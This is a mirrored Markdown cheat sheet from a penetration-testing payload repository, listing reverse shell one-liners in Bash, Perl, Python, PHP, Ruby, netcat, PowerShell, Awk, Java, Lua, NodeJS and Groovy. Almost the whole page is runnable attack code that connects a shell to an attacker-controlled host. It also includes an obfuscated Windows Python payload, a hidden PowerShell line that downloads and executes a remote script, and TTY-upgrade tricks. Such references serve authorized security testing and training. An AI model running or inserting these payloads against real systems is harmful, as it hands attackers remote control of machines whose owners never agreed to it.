mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2024-12-20 19:36:11 +00:00
212 lines
8.3 KiB
Markdown
212 lines
8.3 KiB
Markdown
# Reverse Shell Methods
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## Reverse Shell Cheat Sheet
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### Bash TCP
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```bash
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bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
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0<&196;exec 196<>/dev/tcp/<your IP>/<same unfiltered port>; sh <&196 >&196 2>&196
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```
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### Bash UDP
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```bash
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Victim:
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sh -i >& /dev/udp/127.0.0.1/4242 0>&1
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Listener:
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nc -u -lvp 4242
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```
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### Perl
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```perl
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perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
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perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
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NOTE: Windows only
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perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
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```
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### Python
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Linux only
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```python
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python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
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```
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```python
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python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
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```
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Windows only
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```powershell
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C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.11.0.37', 4444)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))"
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```
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### PHP
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```bash
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php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
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```
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### Ruby
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```ruby
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ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
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ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
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NOTE: Windows only
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ruby -rsocket -e 'c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
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```
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### Netcat Traditional
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```bash
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nc -e /bin/sh [IPADDR] [PORT]
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```
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### Netcat OpenBsd
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```bash
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rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
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```
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### Ncat
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```bash
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ncat 127.0.0.1 4444 -e /bin/bash
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ncat --udp 127.0.0.1 4444 -e /bin/bash
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```
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### Powershell
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```powershell
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powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("[IPADDR]",[PORT]);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
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```
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```powershell
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powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.1.3.40',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
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```
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```powershell
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powershell IEX (New-Object Net.WebClient).DownloadString('https://gist.githubusercontent.com/staaldraad/204928a6004e89553a8d3db0ce527fd5/raw/fe5f74ecfae7ec0f2d50895ecf9ab9dafe253ad4/mini-reverse.ps1')
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```
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### Awk
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```powershell
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awk 'BEGIN {s = "/inet/tcp/0/<IP>/<PORT>"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
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```
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### Java
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```java
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r = Runtime.getRuntime()
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p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
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p.waitFor()
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```
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### Lua
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```powershell
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lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"
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```
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### NodeJS
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```javascript
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(function(){
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var net = require("net"),
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cp = require("child_process"),
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sh = cp.spawn("/bin/sh", []);
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var client = new net.Socket();
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client.connect(8080, "10.17.26.64", function(){
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client.pipe(sh.stdin);
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sh.stdout.pipe(client);
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sh.stderr.pipe(client);
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});
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return /a/; // Prevents the Node.js application form crashing
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})();
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or
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require('child_process').exec('nc -e /bin/sh [IPADDR] [PORT]')
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or
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-var x = global.process.mainModule.require
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-x('child_process').exec('nc [IPADDR] [PORT] -e /bin/bash')
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```
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### Groovy - by [frohoff](https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76)
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NOTE: Java reverse shell also work for Groovy
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```javascript
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String host="localhost";
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int port=8044;
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String cmd="cmd.exe";
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Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
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```
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## Spawn TTY
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```bash
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/bin/sh -i
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```
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(From an interpreter)
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```powershell
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python -c 'import pty; pty.spawn("/bin/sh")'
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perl -e 'exec "/bin/sh";'
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perl: exec "/bin/sh";
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ruby: exec "/bin/sh"
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lua: os.execute('/bin/sh')
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```
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Access shortcuts, su, nano and autocomplete in a partially tty shell
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/!\ OhMyZSH might break this trick, a simple `sh` is recommended
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```powershell
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# in host
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ctrl+z
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stty raw -echo
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fg
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# in reverse shell
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reset
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export SHELL=bash
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export TERM=xterm-256color
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stty rows <num> columns <cols>
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```
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(From within vi)
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```bash
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:!bash
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:set shell=/bin/bash:shell
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```
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(From within nmap)
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```sh
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!sh
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```
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## Thanks to
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* [Reverse Bash Shell One Liner](https://security.stackexchange.com/questions/166643/reverse-bash-shell-one-liner)
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* [Pentest Monkey - Cheat Sheet Reverse shell](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet)
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* [Spawning a TTY Shell](http://netsec.ws/?p=337)
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* [Obtaining a fully interactive shell](https://forum.hackthebox.eu/discussion/142/obtaining-a-fully-interactive-shell)
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